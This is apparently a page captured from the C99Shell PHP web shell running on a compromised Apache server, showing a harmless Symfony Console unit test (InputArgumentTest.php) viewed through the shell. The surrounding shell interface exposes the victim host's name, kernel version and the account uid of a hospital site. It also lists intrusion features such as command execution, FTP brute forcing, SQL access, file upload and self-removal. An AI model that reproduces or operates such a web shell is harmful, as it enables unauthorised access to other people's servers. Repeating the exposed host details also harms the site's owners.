!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Console/Symfony/Component/Console/Tests/Input/   drwxr-xr-x
Free 294.18 GB of 429.69 GB (68.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     InputArgumentTest.php (4.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Console\Tests\Input;

use 
Symfony\Component\Console\Input\InputArgument;

class 
InputArgumentTest extends \PHPUnit_Framework_TestCase
{
    public function 
testConstructor()
    {
        
$argument = new InputArgument('foo');
        
$this->assertEquals('foo'$argument->getName(), '__construct() takes a name as its first argument');
    }

    public function 
testModes()
    {
        
$argument = new InputArgument('foo');
        
$this->assertFalse($argument->isRequired(), '__construct() gives a "InputArgument::OPTIONAL" mode by default');

        
$argument = new InputArgument('foo'null);
        
$this->assertFalse($argument->isRequired(), '__construct() can take "InputArgument::OPTIONAL" as its mode');

        
$argument = new InputArgument('foo'InputArgument::OPTIONAL);
        
$this->assertFalse($argument->isRequired(), '__construct() can take "InputArgument::OPTIONAL" as its mode');

        
$argument = new InputArgument('foo'InputArgument::REQUIRED);
        
$this->assertTrue($argument->isRequired(), '__construct() can take "InputArgument::REQUIRED" as its mode');
    }

    
/**
     * @dataProvider provideInvalidModes
     */
    
public function testInvalidModes($mode)
    {
        
$this->setExpectedException('InvalidArgumentException'sprintf('Argument mode "%s" is not valid.'$mode));

        new 
InputArgument('foo'$mode);
    }

    public function 
provideInvalidModes()
    {
        return array(
            array(
'ANOTHER_ONE'),
            array(-
1)
        );
    }

    public function 
testIsArray()
    {
        
$argument = new InputArgument('foo'InputArgument::IS_ARRAY);
        
$this->assertTrue($argument->isArray(), '->isArray() returns true if the argument can be an array');
        
$argument = new InputArgument('foo'InputArgument::OPTIONAL InputArgument::IS_ARRAY);
        
$this->assertTrue($argument->isArray(), '->isArray() returns true if the argument can be an array');
        
$argument = new InputArgument('foo'InputArgument::OPTIONAL);
        
$this->assertFalse($argument->isArray(), '->isArray() returns false if the argument can not be an array');
    }

    public function 
testGetDescription()
    {
        
$argument = new InputArgument('foo'null'Some description');
        
$this->assertEquals('Some description'$argument->getDescription(), '->getDescription() return the message description');
    }

    public function 
testGetDefault()
    {
        
$argument = new InputArgument('foo'InputArgument::OPTIONAL'''default');
        
$this->assertEquals('default'$argument->getDefault(), '->getDefault() return the default value');
    }

    public function 
testSetDefault()
    {
        
$argument = new InputArgument('foo'InputArgument::OPTIONAL'''default');
        
$argument->setDefault(null);
        
$this->assertNull($argument->getDefault(), '->setDefault() can reset the default value by passing null');
        
$argument->setDefault('another');
        
$this->assertEquals('another'$argument->getDefault(), '->setDefault() changes the default value');

        
$argument = new InputArgument('foo'InputArgument::OPTIONAL InputArgument::IS_ARRAY);
        
$argument->setDefault(array(12));
        
$this->assertEquals(array(12), $argument->getDefault(), '->setDefault() changes the default value');
    }

    
/**
     * @expectedException        \LogicException
     * @expectedExceptionMessage Cannot set a default value except for InputArgument::OPTIONAL mode.
     */
    
public function testSetDefaultWithRequiredArgument()
    {
        
$argument = new InputArgument('foo'InputArgument::REQUIRED);
        
$argument->setDefault('default');
    }

    
/**
     * @expectedException        \LogicException
     * @expectedExceptionMessage A default value for an array argument must be an array.
     */
    
public function testSetDefaultWithArrayArgument()
    {
        
$argument = new InputArgument('foo'InputArgument::IS_ARRAY);
        
$argument->setDefault('default');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0038 ]--